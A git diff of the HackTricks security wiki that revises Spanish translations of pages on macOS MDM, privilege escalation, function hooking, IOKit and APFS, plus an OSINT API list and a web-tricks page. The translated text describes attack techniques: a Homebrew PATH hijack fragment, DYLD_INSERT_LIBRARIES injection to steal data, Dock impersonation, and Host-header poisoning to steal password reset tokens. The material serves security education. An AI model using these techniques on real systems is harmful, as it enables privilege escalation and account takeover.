b/src/macos-hardening/macos-red-teaming/macos-mdm/README.md @@ -39,7 +39,7 @@ Es crucial notar que la facilidad de inscripción proporcionada por DEP, aunque ### ¿Qué son los Perfiles de Configuración (también conocidos como mobileconfigs)? -- La forma oficial de Apple de **configurar/imponer la configuración del sistema.** +- La forma oficial de Apple de **configurar/implementar la configuración del sistema.** - Formato de archivo que puede contener múltiples cargas útiles. - Basado en listas de propiedades (el tipo XML). - “pueden ser firmados y cifrados para validar su origen, asegurar su integridad y proteger su contenido.” Fundamentos — Página 70, Guía de Seguridad de iOS, enero de 2018. @@ -58,7 +58,7 @@ Es crucial notar que la facilidad de inscripción proporcionada por DEP, aunque - **3 APIs**: 1 para revendedores, 1 para proveedores de MDM, 1 para identidad de dispositivo (no documentada): - La llamada [API de "servicio en la nube" de DEP](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Esta es utilizada por los servidores MDM para asociar perfiles DEP con dispositivos específicos. -- La [API de DEP utilizada por los Revendedores Autorizados de Apple](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html) para inscribir dispositivos, verificar el estado de inscripción y verificar el estado de transacciones. +- La [API de DEP utilizada por los Revendedores Autorizados de Apple](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html) para inscribir dispositivos, verificar el estado de inscripción y verificar el estado de transacción. - La API privada de DEP no documentada. Esta es utilizada por los Dispositivos Apple para solicitar su perfil DEP. En macOS, el binario `cloudconfigurationd` es responsable de comunicarse a través de esta API. - Más moderna y basada en **JSON** (vs. plist) - Apple otorga un **token OAuth** al proveedor de MDM @@ -139,7 +139,7 @@ La respuesta es un diccionario JSON con algunos datos importantes como: - **Certificados ancla** se utilizan para **evaluar la confianza** si se proporcionan. - Recordatorio: la propiedad **anchor_certs** del perfil DEP - **La solicitud es un simple .plist** con identificación del dispositivo -- Ejemplos: **UDID, versión del SO**. +- Ejemplos: **UDID, versión de OS**. - Firmado por CMS, codificado en DER - Firmado usando el **certificado de identidad del dispositivo (de APNS)** - **La cadena de certificados** incluye un **Apple iPhone Device CA** expirado @@ -156,7 +156,7 @@ La respuesta es un diccionario JSON con algunos datos importantes como: - Los perfiles de configuración tienen múltiples cargas útiles para instalar - El marco tiene una arquitectura basada en plugins para instalar perfiles - Cada tipo de carga útil está asociado con un plugin -- Puede ser XPC (en el marco) o Cocoa clásica (en ManagedClient.app) +- Puede ser XPC (en el marco) o Cocoa clásico (en ManagedClient.app) - Ejemplo: - Las cargas útiles de certificados utilizan CertificateService.xpc @@ -165,10 +165,10 @@ Típicamente, el **perfil de activación** proporcionado por un proveedor de MDM - `com.apple.mdm`: para **inscribir** el dispositivo en MDM - `com.apple.security.scep`: para proporcionar de forma segura un **certificado de cliente** al dispositivo. - `com.apple.security.pem`: para **instalar certificados CA de confianza** en el llavero del sistema del dispositivo. -- La instalación de la carga útil de MDM es equivalente a **MDM check-in en la documentación** +- La instalación de la carga útil de MDM es equivalente a **la inscripción en MDM en la documentación** - La carga útil **contiene propiedades clave**: -- - URL de Check-In de MDM (**`CheckInURL`**) -- URL de Polling de Comandos de MDM (**`ServerURL`**) + tema de APNs para activarlo +- - URL de Inscripción MDM (**`CheckInURL`**) +- URL de Sondeo de Comandos MDM (**`ServerURL`**) + tema de APNs para activarlo - Para instalar la carga útil de MDM, se envía una solicitud a **`CheckInURL`** - Implementado en **`mdmclient`** - La carga útil de MDM puede depender de otras cargas útiles @@ -176,15 +176,15 @@ Típicamente, el **perfil de activación** proporcionado por un proveedor de MDM - Propiedad: **`CheckInURLPinningCertificateUUIDs`** - Propiedad: **`ServerURLPinningCertificateUUIDs`** - Entregado a través de la carga útil PEM -- Permite que el dispositivo se atribuya un certificado de identidad: +- Permite que el dispositivo sea atribuido con un certificado de identidad: - Propiedad: IdentityCertificateUUID - Entregado a través de la carga útil SCEP ### **Paso 7: Escuchando comandos MDM** -- Después de que se complete el registro en MDM, el proveedor puede **emitir notificaciones push usando APNs** +- Después de que la inscripción en MDM se complete, el proveedor puede **emitir notificaciones push usando APNs** - Al recibirlas, son manejadas por **`mdmclient`** -- Para consultar comandos MDM, se envía una solicitud a ServerURL +- Para sondear comandos MDM, se envía una solicitud a ServerURL - Utiliza la carga útil de MDM previamente instalada: - **`ServerURLPinningCertificateUUIDs`** para fijar la solicitud - **`IdentityCertificateUUID`** para el certificado de cliente TLS diff --git a/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md b/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md index be9104aba..f8ef1344d 100644 --- a/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md +++ b/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md @@ -17,7 +17,7 @@ Esta investigación profundiza en los binarios asociados con el Programa de Insc - **`profiles`**: Gestiona los Perfiles de Configuración y activa los registros de DEP en versiones de macOS 10.13.4 y posteriores. - **`cloudconfigurationd`**: Gestiona las comunicaciones de la API de DEP y recupera los perfiles de Inscripción de Dispositivos. -Los registros de DEP utilizan las funciones `CPFetchActivationRecord` y `CPGetActivationRecord` del marco privado de Perfiles de Configuración para obtener el Registro de Activación, siendo `CPFetchActivationRecord` el que coordina con `cloudconfigurationd` a través de XPC. +Los registros de DEP utilizan las funciones `CPFetchActivationRecord` y `CPGetActivationRecord` del marco privado de Perfiles de Configuración para obtener el Registro de Activación, con `CPFetchActivationRecord` coordinándose con `cloudconfigurationd` a través de XPC. ## Ingeniería Inversa del Protocolo Tesla y Esquema Absinthe diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/README.md index 43622daf0..a282fa5d9 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/README.md @@ -89,11 +89,11 @@ macos-file-extension-apps.md ## Escalación de Privilegios TCC / SIP de macOS -En macOS, **las aplicaciones y binarios pueden tener permisos** para acceder a carpetas o configuraciones que les otorgan más privilegios que a otros. +En macOS, **las aplicaciones y binarios pueden tener permisos** para acceder a carpetas o configuraciones que los hacen más privilegiados que otros. Por lo tanto, un atacante que quiera comprometer con éxito una máquina macOS necesitará **escalar sus privilegios TCC** (o incluso **eludir SIP**, dependiendo de sus necesidades). -Estos privilegios generalmente se otorgan en forma de **derechos** con los que la aplicación está firmada, o la aplicación podría solicitar algunos accesos y, después de que el **usuario los apruebe**, pueden encontrarse en las **bases de datos TCC**. Otra forma en que un proceso puede obtener estos privilegios es siendo un **hijo de un proceso** con esos **privilegios**, ya que generalmente son **heredados**. +Estos privilegios generalmente se otorgan en forma de **derechos** con los que la aplicación está firmada, o la aplicación podría solicitar algunos accesos y después de que el **usuario los apruebe**, pueden encontrarse en las **bases de datos TCC**. Otra forma en que un proceso puede obtener estos privilegios es siendo un **hijo de un proceso** con esos **privilegios**, ya que generalmente son **heredados**. Sigue estos enlaces para encontrar diferentes formas de [**escalar privilegios en TCC**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), para [**eludir TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) y cómo en el pasado [**se ha eludido SIP**](macos-security-protections/macos-sip.md#sip-bypasses). diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md index 83b91a7ac..8fe94429b 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md @@ -77,7 +77,7 @@ Hello from interpose DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello Hello from interpose ``` -## Método Swizzling +## Method Swizzling En ObjectiveC, así es como se llama a un método: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`** @@ -88,9 +88,9 @@ El objeto es **`someObject`**, el método es **`@selector(method1p1:p2:)`** y lo Siguiendo las estructuras de objetos, es posible acceder a un **array de métodos** donde se **ubican** los **nombres** y **punteros** al código del método. > [!CAUTION] -> Tenga en cuenta que, dado que los métodos y clases se acceden en función de sus nombres, esta información se almacena en el binario, por lo que es posible recuperarla con `otool -ov ` o [`class-dump `](https://github.com/nygard/class-dump) +> Tenga en cuenta que, dado que los métodos y las clases se acceden en función de sus nombres, esta información se almacena en el binario, por lo que es posible recuperarla con `otool -ov ` o [`class-dump `](https://github.com/nygard/class-dump) -### Accediendo a los métodos en bruto +### Accessing the raw methods Es posible acceder a la información de los métodos, como el nombre, el número de params o la dirección, como en el siguiente ejemplo: ```objectivec @@ -268,15 +268,15 @@ return 0; } } ``` -## Metodología de Ataque de Hooking +## Metodología de Ataque por Hooking -En esta página se discutieron diferentes formas de enganchar funciones. Sin embargo, involucraron **ejecutar código dentro del proceso para atacar**. +En esta página se discutieron diferentes formas de enganchar funciones. Sin embargo, implicaron **ejecutar código dentro del proceso para atacar**. -Para hacer eso, la técnica más fácil de usar es inyectar un [Dyld a través de variables de entorno o secuestrando](../macos-dyld-hijacking-and-dyld_insert_libraries.md). Sin embargo, supongo que esto también podría hacerse a través de [inyección de proceso Dylib](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port). +Para hacer eso, la técnica más fácil de usar es inyectar un [Dyld a través de variables de entorno o secuestrando](../macos-dyld-hijacking-and-dyld_insert_libraries.md). Sin embargo, supongo que esto también podría hacerse a través de [inyección de procesos Dylib](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port). Sin embargo, ambas opciones están **limitadas** a binarios/procesos **no protegidos**. Consulta cada técnica para aprender más sobre las limitaciones. -Sin embargo, un ataque de hooking de función es muy específico, un atacante hará esto para **robar información sensible desde dentro de un proceso** (si no, simplemente harías un ataque de inyección de proceso). Y esta información sensible podría estar ubicada en aplicaciones descargadas por el usuario, como MacPass. +Sin embargo, un ataque de hooking de funciones es muy específico, un atacante hará esto para **robar información sensible desde dentro de un proceso** (si no, simplemente harías un ataque de inyección de procesos). Y esta información sensible podría estar ubicada en aplicaciones descargadas por el usuario, como MacPass. Así que el vector del atacante sería encontrar una vulnerabilidad o eliminar la firma de la aplicación, inyectar la variable de entorno **`DYLD_INSERT_LIBRARIES`** a través del Info.plist de la aplicación añadiendo algo como: ```xml diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md index c779cb879..c012c7262 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md @@ -8,7 +8,7 @@ El I/O Kit es un **framework de controladores de dispositivos** de código abier Los controladores de IOKit básicamente **exportan funciones del núcleo**. Estos parámetros de función son **predefinidos** y son verificados. Además, similar a XPC, IOKit es solo otra capa sobre **los mensajes de Mach**. -El **código del núcleo IOKit XNU** es de código abierto por Apple en [https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit). Además, los componentes de IOKit en el espacio de usuario también son de código abierto [https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser). +El **código del núcleo XNU de IOKit** es de código abierto por Apple en [https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit). Además, los componentes de IOKit en el espacio de usuario también son de código abierto [https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser). Sin embargo, **ningún controlador de IOKit** es de código abierto. De todos modos, de vez en cuando, un lanzamiento de un controlador puede venir con símbolos que facilitan su depuración. Consulta cómo [**obtener las extensiones del controlador del firmware aquí**](./#ipsw)**.** @@ -70,13 +70,13 @@ kextunload com.apple.iokit.IOReportFamily El **IORegistry** es una parte crucial del marco IOKit en macOS e iOS que sirve como una base de datos para representar la configuración y el estado del hardware del sistema. Es una **colección jerárquica de objetos que representan todo el hardware y los controladores** cargados en el sistema, y sus relaciones entre sí. -Puedes obtener el IORegistry usando el cli **`ioreg`** para inspeccionarlo desde la consola (especialmente útil para iOS). +Puedes obtener el IORegistry usando la cli **`ioreg`** para inspeccionarlo desde la consola (especialmente útil para iOS). ```bash ioreg -l #List all ioreg -w 0 #Not cut lines ioreg -p #Check other plane ``` -Podrías descargar **`IORegistryExplorer`** de **Xcode Additional Tools** desde [**https://developer.apple.com/download/all/**](https://developer.apple.com/download/all/) e inspeccionar el **macOS IORegistry** a través de una interfaz **gráfica**. +Puedes descargar **`IORegistryExplorer`** de **Xcode Additional Tools** desde [**https://developer.apple.com/download/all/**](https://developer.apple.com/download/all/) e inspeccionar el **macOS IORegistry** a través de una interfaz **gráfica**.
@@ -150,13 +150,13 @@ IOObjectRelease(iter); return 0; } ``` -Hay **otras** funciones que se pueden usar para llamar a funciones de IOKit además de **`IOConnectCallScalarMethod`** como **`IOConnectCallMethod`**, **`IOConnectCallStructMethod`**... +Hay **otras** funciones que se pueden usar para llamar a las funciones de IOKit además de **`IOConnectCallScalarMethod`** como **`IOConnectCallMethod`**, **`IOConnectCallStructMethod`**... ## Invirtiendo el punto de entrada del controlador -Podrías obtener estos, por ejemplo, de una [**imagen de firmware (ipsw)**](./#ipsw). Luego, cárgalo en tu desensamblador favorito. +Podrías obtener estos, por ejemplo, de una [**imagen de firmware (ipsw)**](./#ipsw). Luego, cárgalo en tu descompilador favorito. -Podrías comenzar a desensamblar la función **`externalMethod`** ya que esta es la función del controlador que recibirá la llamada y llamará a la función correcta: +Podrías comenzar a descompilar la función **`externalMethod`** ya que esta es la función del controlador que recibirá la llamada y llamará a la función correcta:
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md index 2351f1cf2..0cd80d818 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -## Apple Propietary File System (APFS) +## Apple File System (APFS) **Apple File System (APFS)** es un sistema de archivos moderno diseñado para reemplazar el Hierarchical File System Plus (HFS+). Su desarrollo fue impulsado por la necesidad de **mejorar el rendimiento, la seguridad y la eficiencia**. @@ -10,7 +10,7 @@ Algunas características notables de APFS incluyen: 1. **Compartición de Espacio**: APFS permite que múltiples volúmenes **compartan el mismo almacenamiento libre subyacente** en un solo dispositivo físico. Esto permite una utilización del espacio más eficiente, ya que los volúmenes pueden crecer y reducirse dinámicamente sin necesidad de redimensionamiento manual o reparticionamiento. 1. Esto significa, en comparación con las particiones tradicionales en discos de archivos, **que en APFS diferentes particiones (volúmenes) comparten todo el espacio del disco**, mientras que una partición regular generalmente tenía un tamaño fijo. -2. **Instantáneas**: APFS admite **la creación de instantáneas**, que son instancias del sistema de archivos **de solo lectura** y en un momento específico. Las instantáneas permiten copias de seguridad eficientes y fáciles retrocesos del sistema, ya que consumen un almacenamiento adicional mínimo y pueden ser creadas o revertidas rápidamente. +2. **Instantáneas**: APFS admite **la creación de instantáneas**, que son instancias **de solo lectura** y en un momento dado del sistema de archivos. Las instantáneas permiten copias de seguridad eficientes y fáciles retrocesos del sistema, ya que consumen un almacenamiento adicional mínimo y pueden ser creadas o revertidas rápidamente. 3. **Clones**: APFS puede **crear clones de archivos o directorios que comparten el mismo almacenamiento** que el original hasta que se modifique el clon o el archivo original. Esta característica proporciona una forma eficiente de crear copias de archivos o directorios sin duplicar el espacio de almacenamiento. 4. **Cifrado**: APFS **admite nativamente el cifrado de disco completo** así como el cifrado por archivo y por directorio, mejorando la seguridad de los datos en diferentes casos de uso. 5. **Protección contra Fallos**: APFS utiliza un **esquema de metadatos de copia en escritura que garantiza la consistencia del sistema de archivos** incluso en casos de pérdida repentina de energía o fallos del sistema, reduciendo el riesgo de corrupción de datos. diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md index 97d883d8c..b163a1440 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md @@ -52,7 +52,7 @@ self.numberOfWheels += value; ``` ### **Objeto y Llamar Método** -Para crear una instancia de una clase se llama al método **`alloc`** que **asigna memoria** para cada **propiedad** y **pone a cero** esas asignaciones. Luego se llama a **`init`**, que **inicializa las propiedades** a los **valores requeridos**. +Para crear una instancia de una clase se llama al método **`alloc`** que **asigna memoria** para cada **propiedad** y **cero** esas asignaciones. Luego se llama a **`init`**, que **inicializa las propiedades** a los **valores requeridos**. ```objectivec // Something like this: MyVehicle *newVehicle = [[MyVehicle alloc] init]; diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md index 2f16b7e00..040697ff6 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md @@ -10,10 +10,10 @@ ## Detección de persistencia - [**KnockKnock**](https://objective-see.org/products/knockknock.html): Aplicación de Objective-See que buscará en varias ubicaciones donde **el malware podría estar persistiendo** (es una herramienta de un solo uso, no un servicio de monitoreo). -- [**BlockBlock**](https://objective-see.org/products/blockblock.html): Como KnockKnock, monitoreando procesos que generan persistencia. +- [**BlockBlock**](https://objective-see.org/products/blockblock.html): Al igual que KnockKnock, monitorea procesos que generan persistencia. ## Detección de keyloggers -- [**ReiKey**](https://objective-see.org/products/reikey.html): Aplicación de Objective-See para encontrar **keyloggers** que instalan "event taps" de teclado. +- [**ReiKey**](https://objective-see.org/products/reikey.html): Aplicación de Objective-See para encontrar **keyloggers** que instalan "event taps" de teclado {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md index 1c3b2c9b0..7103a6098 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md @@ -61,7 +61,7 @@ Ten en cuenta que será el sistema quien decida **qué hilos manejan qué colas #### Atributos -Al crear una cola con **`dispatch_queue_create`**, el tercer argumento es un `dispatch_queue_attr_t`, que generalmente es `DISPATCH_QUEUE_SERIAL` (que en realidad es NULL) o `DISPATCH_QUEUE_CONCURRENT`, que es un puntero a una estructura `dispatch_queue_attr_t` que permite controlar algunos parámetros de la cola. +Al crear una cola con **`dispatch_queue_create`** el tercer argumento es un `dispatch_queue_attr_t`, que generalmente es `DISPATCH_QUEUE_SERIAL` (que en realidad es NULL) o `DISPATCH_QUEUE_CONCURRENT`, que es un puntero a una estructura `dispatch_queue_attr_t` que permite controlar algunos parámetros de la cola. ### Objetos de Despacho @@ -170,7 +170,7 @@ sleep(1) // Simulate a long-running task ``` ## Frida -El siguiente script de Frida se puede utilizar para **interceptar varias funciones `dispatch`** y extraer el nombre de la cola, la traza de la pila y el bloque: [**https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js**](https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js) +El siguiente script de Frida se puede utilizar para **interceptar varias funciones `dispatch`** y extraer el nombre de la cola, el backtrace y el bloque: [**https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js**](https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js) ```bash frida -U -l libdispatch.js @@ -198,7 +198,7 @@ Así que si quieres que las entienda, podrías **declararlas**: Luego, encuentra un lugar en el código donde se **utilicen**: > [!TIP] -> Nota todas las referencias hechas a "block" para entender cómo podrías deducir que se está utilizando la estructura. +> Toma nota de todas las referencias hechas a "block" para entender cómo podrías deducir que se está utilizando la estructura.
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md index dec9b2757..8b4a610c3 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md @@ -39,11 +39,11 @@ chmod +x /opt/homebrew/bin/ls # victim sudo ls ``` -Nota que un usuario que utiliza el terminal probablemente tendrá **Homebrew instalado**. Así que es posible secuestrar binarios en **`/opt/homebrew/bin`**. +Tenga en cuenta que un usuario que utiliza el terminal probablemente tendrá **Homebrew instalado**. Por lo tanto, es posible secuestrar binarios en **`/opt/homebrew/bin`**. ### Suplantación del Dock -Usando algo de **ingeniería social** podrías **suplantar por ejemplo Google Chrome** dentro del dock y ejecutar realmente tu propio script: +Usando algo de **ingeniería social**, podrías **suplantar, por ejemplo, Google Chrome** dentro del dock y ejecutar realmente tu propio script: {{#tabs}} {{#tab name="Chrome Impersonation"}} diff --git a/src/online-platforms-with-api.md b/src/online-platforms-with-api.md index 51e09bc72..f35a09635 100644 --- a/src/online-platforms-with-api.md +++ b/src/online-platforms-with-api.md @@ -2,121 +2,120 @@ # [ProjectHoneypot](https://www.projecthoneypot.org/) -You can ask if an IP is related to suspicious/malicious activities. Completely free. +Puedes preguntar si una IP está relacionada con actividades sospechosas/maliciosas. Completamente gratis. # [**BotScout**](http://botscout.com/api.htm) -Check if the IP address is related to a bot that register accounts. It can also check usernames and emails. Initially free. +Verifica si la dirección IP está relacionada con un bot que registra cuentas. También puede verificar nombres de usuario y correos electrónicos. Inicialmente gratis. # [Hunter](https://hunter.io/) -Find and verify emails. -Some free API requests free, for more you need to pay. -Commercial? +Encuentra y verifica correos electrónicos. +Algunas solicitudes de API son gratuitas, para más necesitas pagar. +¿Comercial? # [AlientVault](https://otx.alienvault.com/api) -Find Malicious activities related to IPs and Domains. Free. +Encuentra actividades maliciosas relacionadas con IPs y dominios. Gratis. # [Clearbit](https://dashboard.clearbit.com/) -Find related personal data to a email \(profiles on other platforms\), domain \(basic company info ,mails and people working\) and companies \(get company info from mail\). -You need to pay to access all the possibilities. -Commercial? +Encuentra datos personales relacionados con un correo electrónico \(perfiles en otras plataformas\), dominio \(información básica de la empresa, correos y personas que trabajan\) y empresas \(obtén información de la empresa a partir del correo\). +Necesitas pagar para acceder a todas las posibilidades. +¿Comercial? # [BuiltWith](https://builtwith.com/) -Technologies used by webs. Expensive... -Commercial? +Tecnologías utilizadas por sitios web. Caro... +¿Comercial? # [Fraudguard](https://fraudguard.io/) -Check if a host \(domain or IP\) is related with suspicious/malicious activities. Have some free API access. -Commercial? +Verifica si un host \(dominio o IP\) está relacionado con actividades sospechosas/maliciosas. Tiene algo de acceso gratuito a la API. +¿Comercial? # [FortiGuard](https://fortiguard.com/) -Check if a host \(domain or IP\) is related with suspicious/malicious activities. Have some free API access. +Verifica si un host \(dominio o IP\) está relacionado con actividades sospechosas/maliciosas. Tiene algo de acceso gratuito a la API. # [SpamCop](https://www.spamcop.net/) -Indicates if host is related to spam activity. Have some free API access. +Indica si el host está relacionado con actividad de spam. Tiene algo de acceso gratuito a la API. # [mywot](https://www.mywot.com/) -Based on opinions and other metrics get if a domain is related with suspicious/malicious information. +Basado en opiniones y otros métricas, determina si un dominio está relacionado con información sospechosa/maliciosa. # [ipinfo](https://ipinfo.io/) -Obtains basic info from an IP address. You can test up to 100K/month. +Obtiene información básica de una dirección IP. Puedes probar hasta 100K/mes. # [securitytrails](https://securitytrails.com/app/account) -This platform give information about domains and IP addresses like domains inside an IP or inside a domain server, domains owned by an email \(find related domains\), IP history of domains \(find the host behind CloudFlare\), all domains using a nameserver.... -You have some free access. +Esta plataforma proporciona información sobre dominios y direcciones IP, como dominios dentro de una IP o dentro de un servidor de dominio, dominios propiedad de un correo electrónico \(encuentra dominios relacionados\), historial de IP de dominios \(encuentra el host detrás de CloudFlare\), todos los dominios que utilizan un nameserver.... +Tienes algo de acceso gratuito. # [fullcontact](https://www.fullcontact.com/) -Allows to search by email, domain or company name and retrieve "personal" information related. It can also verify emails. There is some free access. +Permite buscar por correo electrónico, dominio o nombre de empresa y recuperar información "personal" relacionada. También puede verificar correos electrónicos. Hay algo de acceso gratuito. # [RiskIQ](https://www.spiderfoot.net/documentation/) -A lot of information from domains and IPs even in the free/community version. +Mucha información de dominios e IPs incluso en la versión gratuita/comunitaria. # [\_IntelligenceX](https://intelx.io/) -Search Domains, IPs and emails and get info from dumps. Have some free access. +Busca dominios, IPs y correos electrónicos y obtiene información de dumps. Tiene algo de acceso gratuito. # [IBM X-Force Exchange](https://exchange.xforce.ibmcloud.com/) -Search by IP and gather information related to suspicions activities. There is some free access. +Busca por IP y recopila información relacionada con actividades sospechosas. Hay algo de acceso gratuito. # [Greynoise](https://viz.greynoise.io/) -Search by IP or IP range and get information about IPs scanning the Internet. 15 days free access. +Busca por IP o rango de IP y obtiene información sobre IPs que escanean Internet. 15 días de acceso gratuito. # [Shodan](https://www.shodan.io/) -Get scan information of an IP address. Have some free api access. +Obtén información de escaneo de una dirección IP. Tiene algo de acceso gratuito a la API. # [Censys](https://censys.io/) -Very similar to shodan +Muy similar a shodan. # [buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/) -Find open S3 buckets searching by keyword. +Encuentra buckets S3 abiertos buscando por palabra clave. # [Dehashed](https://www.dehashed.com/data) -Find leaked credentials of emails and even domains -Commercial? +Encuentra credenciales filtradas de correos electrónicos e incluso dominios. +¿Comercial? # [psbdmp](https://psbdmp.ws/) -Search pastebins where a email appeared. Commercial? +Busca pastebins donde apareció un correo electrónico. ¿Comercial? # [emailrep.io](https://emailrep.io/key) -Get reputation of a mail. Commercial? +Obtén la reputación de un correo. ¿Comercial? # [ghostproject](https://ghostproject.fr/) -Get passwords from leaked emails. Commercial? +Obtén contraseñas de correos electrónicos filtrados. ¿Comercial? # [Binaryedge](https://www.binaryedge.io/) -Obtain interesting info from IPs +Obtén información interesante de IPs. # [haveibeenpwned](https://haveibeenpwned.com/) -Search by domain and email and get if it was pwned and passwords. Commercial? +Busca por dominio y correo electrónico y verifica si ha sido comprometido y contraseñas. ¿Comercial? -[https://dnsdumpster.com/](https://dnsdumpster.com/)\(in a commercial tool?\) +[https://dnsdumpster.com/](https://dnsdumpster.com/)\(¿en una herramienta comercial?\) -[https://www.netcraft.com/](https://www.netcraft.com/) \(in a commercial tool?\) +[https://www.netcraft.com/](https://www.netcraft.com/) \(¿en una herramienta comercial?\) -[https://www.nmmapper.com/sys/tools/subdomainfinder/](https://www.nmmapper.com/) \(in a commercial tool?\) +[https://www.nmmapper.com/sys/tools/subdomainfinder/](https://www.nmmapper.com/) \(¿en una herramienta comercial?\) {{#include ./banners/hacktricks-training.md}} - diff --git a/src/other-web-tricks.md b/src/other-web-tricks.md index f442a4533..7d8968300 100644 --- a/src/other-web-tricks.md +++ b/src/other-web-tricks.md @@ -1,52 +1,38 @@ -# Other Web Tricks +# Otros trucos web {{#include ./banners/hacktricks-training.md}} -
-**Get a hacker's perspective on your web apps, network, and cloud** +### Encabezado Host -**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - -### Host header - -Several times the back-end trust the **Host header** to perform some actions. For example, it could use its value as the **domain to send a password reset**. So when you receive an email with a link to reset your password, the domain being used is the one you put in the Host header.Then, you can request the password reset of other users and change the domain to one controlled by you to steal their password reset codes. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2). +Varias veces el back-end confía en el **encabezado Host** para realizar algunas acciones. Por ejemplo, podría usar su valor como el **dominio para enviar un restablecimiento de contraseña**. Así que cuando recibes un correo electrónico con un enlace para restablecer tu contraseña, el dominio que se utiliza es el que pusiste en el encabezado Host. Luego, puedes solicitar el restablecimiento de contraseña de otros usuarios y cambiar el dominio a uno controlado por ti para robar sus códigos de restablecimiento de contraseña. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2). > [!WARNING] -> Note that it's possible that you don't even need to wait for the user to click on the reset password link to get the token, as maybe even **spam filters or other intermediary devices/bots will click on it to analyze it**. +> Ten en cuenta que es posible que ni siquiera necesites esperar a que el usuario haga clic en el enlace de restablecimiento de contraseña para obtener el token, ya que tal vez incluso **los filtros de spam u otros dispositivos/bots intermedios harán clic en él para analizarlo**. -### Session booleans +### Booleanos de sesión -Some times when you complete some verification correctly the back-end will **just add a boolean with the value "True" to a security attribute your session**. Then, a different endpoint will know if you successfully passed that check.\ -However, if you **pass the check** and your sessions is granted that "True" value in the security attribute, you can try to **access other resources** that **depends on the same attribute** but that you **shouldn't have permissions** to access. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a). +A veces, cuando completas correctamente alguna verificación, el back-end **simplemente agregará un booleano con el valor "True" a un atributo de seguridad de tu sesión**. Luego, un endpoint diferente sabrá si pasaste esa verificación con éxito.\ +Sin embargo, si **pasas la verificación** y tu sesión recibe ese valor "True" en el atributo de seguridad, puedes intentar **acceder a otros recursos** que **dependen del mismo atributo** pero a los que **no deberías tener permisos** para acceder. 